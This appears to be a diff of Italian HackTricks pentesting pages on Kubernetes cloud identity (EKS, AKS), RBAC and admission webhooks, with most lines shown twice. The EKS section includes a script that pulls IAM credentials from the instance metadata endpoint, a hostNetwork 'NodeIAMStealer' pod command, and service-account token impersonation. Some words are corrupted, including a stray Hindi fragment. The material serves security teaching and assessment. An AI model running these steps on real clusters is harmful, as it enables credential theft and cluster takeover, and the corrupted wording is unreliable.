- [AWS Organizations service control policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html)
### Find Pods a SAs with IAM Roles in the Cluster
Questo è uno script per iterare facilmente **su tutti i pods e le sas** definitions **cercando** quella **annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -255,26 +298,26 @@ done | grep -B 1 "amazonaws.com"
```
### Node IAM Role to cluster-admin
La sezione precedente riguardava come rubare IAM Roles con i pod, ma nota che un **Node del** cluster K8s sarà un'**istanza dentro il cloud**. Questo significa che il Node molto probabilmente **av un IAM role che puoi rubare** (_nota che di solito tutti i node di un cluster K8s avranno lo stesso IAM role, quindi potrebbe non valere la pena provare a controllare ogni node_).
La sezione precedente riguardava come rubare IAM Roles con i pod, ma nota che un **Node del** cluster K8s sarà una **istanza dentro il cloud**. Questo significa che il Node è molto probabilmente destinato ad **avere un IAM role che puoi rubare** (_nota che di solito tutti i node di un cluster K8s avranno lo stesso IAM role, quindi potrebbe non valere la pena provare a controllare ogni node_).
Per accedere al node metadata endpoint devi:
- Essere in un pod e avere il metadata endpoint configurato con almeno 2 tcp hops. Questa è la misconfigurazione più comune, perché di solito pod diversi nel cluster avranno bisogno di accedere al metadata endpoint per non rompersi e diverse aziende decidono semplicemente di permettere l'accesso al metadata endpoint da tutti i pod nel cluster.
Per accedere allendpoint metadata del node devi:
- Essere in un pod e avere lendpoint metadata configurato ad almeno 2 tcp hops. Questa è la misconfigurazione più comune, poiché di solito pod diversi nel cluster avranno bisogno di accesso allendpoint metadata per non rompersi e diverse aziende decidono semplicemente di अनुमतिre laccesso allendpoint metadata da tutti i pod nel cluster.
- Essere in un pod con `hostNetwork` abilitato.
- Escape verso il node e accedere direttamente al metadata endpoint.
- Escape al node e accedere direttamente allendpoint metadata.
(Nota che il metadata endpoint è sempre a 169.254.169.254).
(Nota che lendpoint metadata è sempre a 169.254.169.254).
In ambienti EKS più recenti, verifica il node e la modalità del cluster prima di assumere che i pod possano raggiungere il node instance profile. Le Amazon Linux 2023 EKS optimized AMIs impostano di default l'IMDS hop limit a 1, e EKS Auto Mode abilita `disablePodIMDS` di default, quindi i pod normali non dovrebbero ricevere node-role credentials a meno che l'operatore non abbia cambiato queste impostazioni o il pod abbia un altro percorso a livello di node come `hostNetwork` o un compromise del node. Il pattern raccomandato è bloccare l'accesso dei pod all'IMDS del node e usare IRSA o EKS Pod Identity per i permessi AWS del workload.
Negli ambienti EKS più recenti, verifica la modalità del node e del cluster prima di assumere che i pod possano raggiungere linstance profile del node. Le Amazon Linux 2023 EKS optimized AMIs impostano di default il hop limit dellIMDS a 1, e EKS Auto Mode abilita `disablePodIMDS` per default, quindi i pod normali non dovrebbero ricevere le credenziali del node-role a meno che loperatore non abbia modificato quelle impostazioni o il pod abbia un altro percorso a livello di node come `hostNetwork` o il compromesso del node. Il pattern raccomandato è bloccare laccesso dei pod allIMDS del node e usare IRSA o EKS Pod Identity per i permessi AWS del workload.
Per **escape verso il node** puoi usare il seguente comando per eseguire un pod con `hostNetwork` abilitato:
Per **escape to the node** puoi usare il seguente comando per eseguire un pod con `hostNetwork` abilitato:
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### Rubare il token dell'IAM Role
### Rubare il token IAM Role
In precedenza abbiamo discusso di come **attaccare IAM Roles ai Pod** o persino di come **evadere nel Node per rubare l'IAM Role** che l'istanza ha associato.
In precedenza abbiamo discusso di come **attach IAM Roles to Pods** o persino di come **escape to the Node to steal the IAM Role** che l'istanza ha attached ad essa.
Puoi usare il seguente script per **rubare** le tue nuove, sudate **credenziali dell'IAM role**:
Puoi usare il seguente script per **steal** le tue nuove, faticosamente ottenute credenziali **IAM role**:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
@@ -287,11 +330,11 @@ fi
```
### Privesc to cluster-admin
In sintesi: se è possibile **accedere all'EKS Node IAM role** da un pod, è possibile **compromettere l'intero cluster kubernetes**.
In sintesi: se è possibile **accedere al ruolo IAM del nodo EKS** da un pod, è possibile **compromettere l'intero cluster kubernetes**.
Per maggiori informazioni controlla [questo post](https://blog.calif.io/p/privilege-escalation-in-eks). In sintesi, il default IAM EKS role assegnato di default ai nodi EKS è assegnato al ruolo `system:node` dentro il cluster. Questo ruolo è molto interessante anche se è limitato dalle kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
Per maggiori informazioni, controlla [questo post](https://blog.calif.io/p/privilege-escalation-in-eks). In sintesi, il ruolo IAM EKS predefinito assegnato ai nodi EKS di default viene assegnato al ruolo `system:node` all'interno del cluster. Questo ruolo è molto interessante, anche se è limitato dalle kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
Tuttavia, il node può sempre **generare tokens per service accounts** in esecuzione nei pod dentro il node. Quindi, se il node sta eseguendo un pod con un privileged service account, il node può generare un token per quel service account e usarlo per impersonare il service account come in:
Tuttavia, il nodo può sempre **generate tokens for service accounts** in esecuzione nei pod all'interno del nodo. Quindi, se il nodo sta eseguendo un pod con un service account privilegiato, il nodo può generare un token per quel service account e usarlo per impersonare il service account come in:
```bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
@@ -300,11 +343,11 @@ kubectl --context=node1 create token -n ns1 sa-priv \
```
## Azure / AKS
In AKS, mantieni separate tre path di identità durante lassessment:
In AKS, tieni separati tre percorsi di identity durante lassessment:
- **Azure to Kubernetes**: i principal Azure possono recuperare kubeconfig user o admin tramite Azure Resource Manager se il loro ruolo Azure RBAC lo consente. I kubeconfig admin locali di `az aks get-credentials --admin` sono credenziali basate su certificati e possono bypassare la normale governance di Microsoft Entra user/group a meno che gli account locali non siano disabilitati.
- **Microsoft Entra to Kubernetes**: i cluster integrati con Entra autenticano user, group o service principal tramite `kubelogin`/exec kubeconfig. Lazione finale in Kubernetes può essere autorizzata dal nativo Kubernetes RBAC o da Azure RBAC per Kubernetes Authorization.
- **Kubernetes to Azure**: i pod dovrebbero normalmente usare Microsoft Entra Workload ID, che scambia i projected Kubernetes service account token con Entra tramite lAKS OIDC issuer e i federated identity credentials.
- **Azure to Kubernetes**: i principal Azure possono recuperare kubeconfig utente o admin tramite Azure Resource Manager se il loro ruolo Azure RBAC lo consente. I kubeconfig admin locali di `az aks get-credentials --admin` sono credenziali basate su certificati e possono bypassare la normale governance Microsoft Entra di user/group a meno che gli account locali non siano disabilitati.
- **Microsoft Entra to Kubernetes**: i cluster integrati con Entra autenticano utenti, gruppi o service principals tramite `kubelogin`/exec kubeconfigs. Lazione finale in Kubernetes può essere autorizzata da native Kubernetes RBAC o da Azure RBAC for Kubernetes Authorization.
- **Kubernetes to Azure**: i pod dovrebbero normalmente usare Microsoft Entra Workload ID, che scambia i projected Kubernetes service account tokens con Entra tramite lAKS OIDC issuer e federated identity credentials.
Useful AKS identity checks from Azure:
```bash
@@ -321,7 +364,7 @@ Da Kubernetes, cerca segnali di AKS Workload ID:
kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8
```
I campi Workload ID rilevanti sono di solito:
I campi rilevanti di Workload ID sono di solito:
```yaml
metadata:
annotations:
@@ -332,21 +375,43 @@ metadata:
labels:
azure.workload.identity/use: "true"
```
Se il cluster usa ancora il modello deprecato Microsoft Entra pod-managed identity, cerca i vecchi CRD e i componenti NMI/MIC invece delle annotazioni Workload ID:
Gli ambienti AKS più recenti possono usare **AKS Identity Bindings** (preview) per scalare Workload ID su molti cluster o service account senza creare un federated identity credential per ogni subject. In quel modello, una user-assigned managed identity è associata al cluster AKS, i workload opt-in con `azure.workload.identity/use-identity-binding: "true"`, e Kubernetes RBAC concede `use-managed-identity` su risorse `cid.wi.aks.azure.com` nominate in base ai client ID delle managed identity. Un `ClusterRoleBinding` troppo ampio qui può esporre la stessa Azure identity a più namespace del previsto, anche se i subject diretti delle federated identity credential sembrano limitati.
```bash
az aks identity-binding list -g <resource-group> --cluster-name <cluster> -o yaml
kubectl get clusterrole,clusterrolebinding -o yaml | grep -n 'cid.wi.aks.azure.com\|use-managed-identity' -B 8 -A 12
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use-identity-binding' -B 8 -A 12
```
Se il cluster utilizza ancora il modello deprecated Microsoft Entra pod-managed identity, cerca i vecchi CRD e i componenti NMI/MIC invece delle annotazioni Workload ID:
```bash
kubectl get crd | grep -i azureidentity
kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null
kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity'
```
I nodi AKS sono istanze di Azure VM scale set, quindi laccesso a livello di node o host può esporre Azure Instance Metadata Service su `169.254.169.254`. Non dare per scontato che un pod ordinario debba ricevere le credenziali dellmanaged identity del node: verifica prima le impostazioni di workload identity, il comportamento legacy di pod identity/NMI, luso di hostNetwork, i controlli di network e laccesso al node. Se una node identity ha ampie autorizzazioni Azure, la compromissione del node può diventare un Azure pivot anche quando la Workload ID dellapplication è configurata correttamente.
I nodi AKS sono istanze di Azure VM scale set, quindi laccesso a livello di nodo o host può esporre Azure Instance Metadata Service a `169.254.169.254`. Non dare per scontato che un ordinary pod debba ricevere le credenziali della managed identity del nodo: verifica prima le impostazioni di Workload ID, il comportamento legacy di pod identity/NMI, luso di hostNetwork, i controlli di rete e laccesso al nodo. Se una node identity ha permessi Azure ampi, la compromissione del nodo può diventare un Azure pivot anche quando la Workload ID dellapplicazione è correttamente limitata.
## References
AKS Automatic e Node Auto-Provisioning (NAP) cambiano le evidenze lato nodo che dovresti raccogliere. AKS Automatic preconfigura diversi default di produzione, inclusi il supporto a Workload ID/OIDC, managed node pools, il lockdown del node resource group e il comportamento di upgrade gestito. NAP è la modalità di provisioning gestita basata su Karpenter e usa risorse Kubernetes come `NodePool`, `AKSNodeClass` e `NodeClaim` per decidere quali nodi vengono creati per i workload in pending. Esamina chi può modificare queste risorse, i controlli di scheduling ad alto impatto, i pod privilegiati e le broad tolerations; verifica anche se il node resource group lockdown ha bloccato modifiche dirette a VMSS/load balancer e ha imposto i cambiamenti attraverso Kubernetes o le API di AKS.
```bash
az aks show -g <resource-group> -n <cluster> \
--query '{sku:sku,nodeProvisioningProfile:nodeProvisioningProfile,autoUpgradeProfile:autoUpgradeProfile,nodeResourceGroup:nodeResourceGroup,securityProfile:securityProfile}' \
-o yaml
kubectl get crd | grep -Ei 'nodepool|aksnodeclass|nodeclaim|karpenter'
kubectl get nodepools,aksnodeclasses,nodeclaims -A -o yaml 2>/dev/null
```
## Riferimenti
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html)
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html)
- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity)
- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview)
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts](https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts)
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings](https://learn.microsoft.com/en-us/azure/aks/identity-bindings)
- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization)
- [https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic)
- [https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning](https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning)
- [https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown](https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown)
{{#include ../../banners/hacktricks-training.md}}
@@ -4,9 +4,9 @@
## Role-Based Access Control (RBAC)
Kubernetes ha un **modulo di autorizzazione chiamato Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) che aiuta a impostare i permessi di utilizzo per l'API server.
Kubernetes ha un **modulo di authorization chiamato Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) che aiuta a impostare i permessi di utilizzo per l'API server.
Il modello di permessi di RBAC è costruito da **tre parti distinte**:
Il modello di permessi di RBAC è costruito da **tre parti separate**:
1. **Role\ClusterRole ­** Il permesso effettivo. Contiene _**rules**_ che rappresentano un insieme di permessi. Ogni rule contiene [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) e [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Il verb è l'azione che verrà applicata alla resource.
2. **Subject (User, Group or ServiceAccount) ** L'oggetto che riceverà i permessi.
@@ -14,23 +14,29 @@ Il modello di permessi di RBAC è costruito da **tre parti distinte**:
![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png)
La differenza tra “**Roles**” e “**ClusterRoles**” è solo dove il role verrà applicato un “**Role**” concederà accesso solo a **un** **namespace** **specifico**, mentre un “**ClusterRole**” può essere usato in **tutti i namespace** del cluster. Inoltre, i **ClusterRoles** possono anche concedere accesso a:
La differenza tra “**Roles**” e “**ClusterRoles**” è solo dove verrà applicato il role un “**Role**” concederà accesso a un solo **specifico** **namespace**, mentre un “**ClusterRole**” può essere usato in **tutti i namespace** nel cluster. Inoltre, i **ClusterRoles** possono anche concedere accesso a:
- resource **cluster-scoped** (come i nodes).
- endpoint **non-resource** (come /healthz).
- resource namespaced (come Pods), **in tutti i namespace**.
Da **Kubernetes** 1.6 in poi, le policy **RBAC** sono **abilitate per default**. Ma per abilitare RBAC puoi usare qualcosa come:
Da **Kubernetes** 1.6 in poi, le policy **RBAC** sono **abilitate di default**. Ma per abilitare RBAC puoi usare qualcosa come:
```
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
```
I cluster moderni possono anche configurare la catena di authorizer dell'API server con `--authorization-config`, che punta a un file `AuthorizationConfiguration`. Questo file può definire authorizer ordinati, più webhook authorizer, timeout dei webhook, `failurePolicy`, impostazioni di cache e `matchConditions` CEL che decidono quali request vengono inviate a un webhook. Durante una security review, non fermarti a `--authorization-mode` se `--authorization-config` è presente: leggi il file referenziato e controlla se un webhook può fallire aperto con `NoOpinion`, se le match conditions saltano risorse sensibili e se tutte le repliche dell'API server usano una configurazione di authorization equivalente.
Controlla anche la configurazione di authentication quando esamini l'esposizione anonima dell'API. `--authentication-config` può limitare l'authenticator anonimo a path specifici come `/livez`, `/readyz` e `/healthz`. L'accesso anonimo agli endpoint di health non è la stessa cosa dell'accesso anonimo alle risorse Kubernetes; la condizione pericolosa è un percorso RBAC o authorizer che consente a `system:anonymous` o `system:unauthenticated` di leggere o modificare oggetti API reali.
Infine, tratta l'appartenenza a `system:masters` come equivalente a cluster-admin. Utenti o certificati in questo gruppo hanno accesso API illimitato che bypassa il normale RBAC e le restrizioni di authorization dei webhook, quindi le identity mappings che aggiungono questo gruppo possono essere più importanti del normale output di RoleBinding.
## Templates
Nel template di un **Role** o di un **ClusterRole** dovrai indicare il **nome del role**, il **namespace** (nei roles) e poi i **apiGroups**, **resources** e **verbs** del role:
Nel template di un **Role** o di un **ClusterRole** dovrai indicare il **nome del role**, il **namespace** (nei roles) e poi gli **apiGroups**, le **resources** e i **verbs** del role:
- I **apiGroups** sono un array che contiene i diversi **API namespaces** a cui si applica questa regola. Per esempio, una definizione Pod usa apiVersion: v1. _Può avere valori come rbac.authorization.k8s.io o \[\*]_.
- I **resources** sono un array che definisce **a quali resources si applica questa regola**. Puoi trovare tutte le resources con: `kubectl api-resources --namespaced=true`
- I **verbs** sono un array che contiene i **verbs consentiti**. Il verb in Kubernetes definisce il **tipo di azione** che devi applicare alla resource. Per esempio, il verb list si usa sulle collections, mentre "get" si usa su una singola resource.
- Gli **apiGroups** sono un array che contiene i diversi **namespace API** a cui si applica questa regola. Per esempio, una definizione Pod usa apiVersion: v1. _Può avere valori come rbac.authorization.k8s.io o \[\*]_.
- Le **resources** sono un array che definisce **a quali resources si applica questa regola**. Puoi trovare tutte le resources con: `kubectl api-resources --namespaced=true`
- I **verbs** sono un array che contiene i **verbs consentiti**. Il verb in Kubernetes definisce il **tipo di azione** che devi applicare alla resource. Per esempio, il verb list si usa sulle collection, mentre "get" si usa su una singola resource.
### Rules Verbs
@@ -42,19 +48,21 @@ Nel template di un **Role** o di un **ClusterRole** dovrai indicare il **nome de
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
| DELETE | delete (for individual resources), deletecollection (for collections) |
Kubernetes a volte controlla l'autorizzazione per permessi aggiuntivi usando specialized verbs. Per esempio:
Kubernetes a volte controlla l'authorization per permessi aggiuntivi usando verbs specializzati. Per esempio:
- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
- verb `use` su resources `podsecuritypolicies` nel API group `policy`.
- verb `use` su resources `podsecuritypolicies` nel gruppo API `policy`.
- [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
- verbs `bind` ed `escalate` su resources `roles` e `clusterroles` nel API group `rbac.authorization.k8s.io`.
- verbs `bind` e `escalate` su resources `roles` e `clusterroles` nel gruppo API `rbac.authorization.k8s.io`.
- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
- verb `impersonate` su `users`, `groups` e `serviceaccounts` nel core API group, e `userextras` nel API group `authentication.k8s.io`.
- verb `impersonate` su `users`, `groups` e `serviceaccounts` nel gruppo API core, e su `userextras` nel gruppo API `authentication.k8s.io`.
Kubernetes v1.36 include anche **constrained impersonation** come funzionalità beta. Invece di concedere solo il vecchio verb `impersonate` tutto-o-niente, i cluster possono concedere verbs specifici per modalità come `impersonate:user-info`, `impersonate:serviceaccount`, `impersonate:arbitrary-node` o `impersonate:associated-node`, più verbs specifici per azione come `impersonate-on:user-info:list` sulla resource target. Rivedi entrambe le parti: l'identità che il subject può impersonare e le azioni che può eseguire mentre impersona. Le regole legacy `impersonate` possono ancora consentire un accesso più ampio, quindi non assumere che verbs che sembrano limitati siano applicati a meno che la versione dell'API server e le evidenze di access-review non lo confermino.
> [!WARNING]
> Puoi trovare **tutti i verbs che ogni resource supporta** eseguendo `kubectl api-resources --sort-by name -o wide`
> Puoi trovare **tutti i verbs supportati da ogni resource** eseguendo `kubectl api-resources --sort-by name -o wide`
### Examples
```yaml:Role
@@ -80,13 +88,13 @@ rules:
resources: ["secrets"]
verbs: ["get", "watch", "list"]
```
Per esempio puoi usare un **ClusterRole** per consentire a un particolare utente di eseguire:
Ad esempio, puoi usare un **ClusterRole** per consentire a un particolare utente di eseguire:
```
kubectl get pods --all-namespaces
```
### **RoleBinding e ClusterRoleBinding**
[**Dalla documentazione:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Un **role binding concede le autorizzazioni definite in un role a un utente o a un insieme di utenti**. Contiene un elenco di subjects (users, groups, o service accounts) e un riferimento al role che viene concesso. Un **RoleBinding** concede autorizzazioni all'interno di uno specifico **namespace**, mentre un **ClusterRoleBinding** concede quell'accesso **cluster-wide**.
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Un **role binding concede le autorizzazioni definite in un role a un user o a un set di users**. Contiene una lista di subjects (users, groups, o service accounts), e un riferimento al role che viene concesso. Un **RoleBinding** concede autorizzazioni all'interno di uno specifico **namespace** mentre un **ClusterRoleBinding** concede quell'accesso **cluster-wide**.
```yaml:RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
# This role binding allows "jane" to read pods in the "default" namespace.
@@ -122,13 +130,13 @@ kind: ClusterRole
name: secret-reader
apiGroup: rbac.authorization.k8s.io
```
**I permessi sono additivi** quindi se hai un clusterRole con “list” e “delete” secrets puoi aggiungerlo con un Role con “get”. Quindi fai attenzione e testa sempre i tuoi roles e permissions e **specifica cosa è CONSENTITO, perché tutto è NEGATO per default.**
**Le permissions sono additive** quindi se hai un clusterRole con “list” e “delete” secrets puoi aggiungerlo con un Role con “get”. Quindi fai attenzione e testa sempre i tuoi roles e permissions e **specifica cosa è ALLOWED, perché tutto è DENIED di default.**
### Dettagli da controllare
### Dettagli da verificare
RBAC usa i nomi delle risorse come appaiono negli URL API, non il YAML `kind`. Un Pod è `pods`, un Deployment è `deployments`, e i subresources sono scritti con una slash come `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` o `services/proxy`. Un permesso su `pods` non concede automaticamente accesso a `pods/exec` o `pods/log`.
RBAC usa i nomi delle resource come appaiono nelle API URLs, non il YAML `kind`. Un Pod è `pods`, un Deployment è `deployments`, e i subresources si scrivono con una slash come `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` o `services/proxy`. Un permission su `pods` non concede automaticamente accesso a `pods/exec` o `pods/log`.
`resourceNames` può limitare alcune richieste a nomi di oggetti specifici:
`resourceNames` può limitare alcune request a specifici nomi di object:
```yaml
rules:
- apiGroups: [""]
@@ -136,7 +144,7 @@ resources: ["configmaps"]
resourceNames: ["app-config"]
verbs: ["get", "update"]
```
Questo non limita `create` o `deletecollection` a livello superiore per nome. Per `list` e `watch`, il client deve includere un selettore di campo `metadata.name` corrispondente, altrimenti la richiesta non è autorizzata da quella regola:
Ciò non limita `create` o `deletecollection` a livello superiore per nome. Per `list` e `watch`, il client deve includere un field selector `metadata.name` corrispondente, altrimenti la richiesta non è autorizzata da quella regola:
```bash
kubectl get configmaps -n default --field-selector=metadata.name=app-config
```
@@ -147,6 +155,7 @@ kubectl auth can-i create serviceaccounts/token -n default
kubectl auth can-i impersonate users
kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io
kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io
kubectl auth can-i impersonate-on:user-info:list pods -n default
```
## **Enumerazione RBAC**
```bash
@@ -2,24 +2,24 @@
{{#include ../../banners/hacktricks-training.md}}
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
**L'autore originale di questa pagina è** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Definizione
`ValidatingWebhookConfiguration` è una risorsa di Kubernetes che registra uno o più validating admission webhooks. Questi webhooks ricevono richieste AdmissionReview dal API server dopo authentication e authorization, ma prima che l'oggetto venga persistito.
`ValidatingWebhookConfiguration` è una risorsa Kubernetes che registra uno o più validating admission webhooks. Questi webhooks ricevono richieste AdmissionReview dal API server dopo autenticazione e autorizzazione, ma prima che l'oggetto venga persistito.
I validating webhooks possono rifiutare una richiesta. I mutating webhooks, configurati con `MutatingWebhookConfiguration`, possono prima modificare l'oggetto. Le security review dovrebbero di solito ispezionare entrambe le risorse perché un mutating webhook malevolo o debole può riscrivere i workload, mentre un validating webhook o un policy engine può bloccarli o consentirli.
I validating webhooks possono rifiutare una richiesta. I mutating webhooks, configurati con `MutatingWebhookConfiguration`, possono modificare prima l'oggetto. Le security review dovrebbero di solito ispezionare entrambe le risorse perché un mutating webhook malevolo o debole può riscrivere i workload, mentre un validating webhook o un policy engine può bloccarli o consentirli.
## Scopo
Lo scopo di un `ValidatingWebhookConfiguration` è definire quando il API server dovrebbe chiamare un validating webhook e come dovrebbe gestire il risultato del webhook. La domanda di sicurezza importante non è solo "è installata una policy?", ma anche:
Lo scopo di un `ValidatingWebhookConfiguration` è definire quando il API server deve chiamare un validating webhook e come deve gestire il risultato del webhook. La domanda di sicurezza importante non è solo "è installata una policy?", ma anche:
- Quali API groups, resources, operations e scopes corrisponde?
- Quali namespaces o oggetti sono esclusi dai selector?
- `matchConditions` salta qualche classe di richiesta?
- `failurePolicy` fallisce aperto con `Ignore` o fallisce chiuso con `Fail`?
- Il servizio webhook è raggiungibile, trusted dal `caBundle` configurato e viene eseguito da un service account con privilegi elevati?
- Il policy engine espone anche exception resources, excluded users o excluded groups?
- `failurePolicy` fail open con `Ignore` o fail closed con `Fail`?
- Il servizio del webhook è raggiungibile, trusted dal `caBundle` configurato, e in esecuzione con un service account altamente privilegiato?
- Il policy engine espone anche risorse di eccezione, utenti esclusi o gruppi esclusi?
**Esempio**
@@ -53,12 +53,12 @@ matchExpressions:
operator: NotIn
values: ["kube-system"]
```
La differenza principale tra una ValidatingWebhookConfiguration e i policies :
La principale differenza tra una ValidatingWebhookConfiguration e i policies :
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
- **ValidatingWebhookConfiguration (VWC)** : Una risorsa Kubernetes che definisce un validating webhook, cioè un componente lato server che valida le richieste Kubernetes API in ingresso rispetto a un insieme di regole e vincoli predefiniti.
- **Kyverno ClusterPolicy**: Una definizione di policy che specifica un insieme di regole e vincoli per validare e applicare la enforcement delle risorse Kubernetes, come pod, deployment e services
- **ValidatingWebhookConfiguration (VWC)** : Una risorsa Kubernetes che definisce un validating webhook, che è un componente lato server che valida le richieste Kubernetes API in ingresso rispetto a un insieme di regole e vincoli predefiniti.
- **Kyverno ClusterPolicy**: Una definizione di policy che specifica un insieme di regole e vincoli per validare e applicare enforcement alle risorse Kubernetes, come pods, deployments e services
## Enumeration
```
@@ -67,30 +67,51 @@ $ kubectl get validatingwebhookconfiguration <name> -o yaml
$ kubectl get mutatingwebhookconfiguration <name> -o yaml
$ kubectl get svc,deploy,pod -A | grep -i webhook
```
Fields to inspect:
Campi da ispezionare:
- `rules`: Controlla API groups, versions, resources, subresources, operations e scope coperti.
- `namespaceSelector` / `objectSelector`: Cerca namespaces o labels che escludono risorse dalla policy.
- `namespaceSelector` / `objectSelector`: Cerca namespaces o label che escludono risorse dalla policy.
- `matchConditions`: Le espressioni CEL possono saltare richieste intenzionalmente o per errore.
- `failurePolicy`: `Ignore` lascia proseguire le richieste se il webhook fallisce; `Fail` le blocca.
- `sideEffects`: I webhook con side effects potrebbero non supportare il testing dry-run.
- `failurePolicy`: `Ignore` lascia continuare le richieste se il webhook fallisce; `Fail` le blocca.
- `sideEffects`: I webhook con side effects potrebbero non supportare i test dry-run.
- `timeoutSeconds`: Timeout molto brevi combinati con `Ignore` possono diventare comportamento fail-open.
- `clientConfig`: Verifica se il webhook punta a un Service in-cluster o a un URL esterno, e ispeziona il workload di supporto e il service account.
- `reinvocationPolicy`: I mutating webhooks possono essere reinvocati quando una mutation successiva cambia l'oggetto.
- `clientConfig`: Verifica se il webhook punta a un Service in-cluster o a un URL esterno, e ispeziona il workload sottostante e il service account.
- `reinvocationPolicy`: I mutating webhooks possono essere reinvocati quando una mutazione successiva cambia l'oggetto.
### Native CEL admission policies
I cluster moderni possono anche imporre logiche di admission con oggetti policy nativi in `admissionregistration.k8s.io`, non solo con configurazioni webhook. `ValidatingAdmissionPolicy` è un'alternativa in-process basata su CEL ai validating webhooks ed è attiva solo quando un `ValidatingAdmissionPolicyBinding` la seleziona. `MutatingAdmissionPolicy` è stabile in Kubernetes v1.36 ed è attivata da `MutatingAdmissionPolicyBinding` per mutazioni generate da CEL.
Enumerali con:
```bash
kubectl api-resources --api-group=admissionregistration.k8s.io -o wide
kubectl get validatingadmissionpolicies,validatingadmissionpolicybindings
kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings 2>/dev/null || true
kubectl get validatingadmissionpolicy <name> -o yaml
kubectl get validatingadmissionpolicybinding <name> -o yaml
```
Security checks:
- Una policy senza un binding non applica nulla.
- `validationActions` sul binding decide se i validation failures vengono denied, warned, audited o solo recorded.
- `failurePolicy: Ignore` permette a errori di valutazione CEL o a una misconfigurazione di fail open.
- `matchConstraints`, `matchConditions`, `namespaceSelector` e `objectSelector` possono escludere richieste sensibili.
- `paramKind` e `paramRef` possono rendere ConfigMaps o oggetti di parametro supportati da CRD parte del boundary della policy; verifica chi può modificare quegli oggetti di parametro.
- Le write su policies, bindings e parameter resources dovrebbero essere trattate come privileged admission-control changes.
### Abusing Kyverno and Gatekeeper VWC
As we can see all operators installed have at least one ValidatingWebHookConfiguration(VWC).
Come possiamo vedere, tutti gli operator installati hanno almeno una ValidatingWebHookConfiguration(VWC).
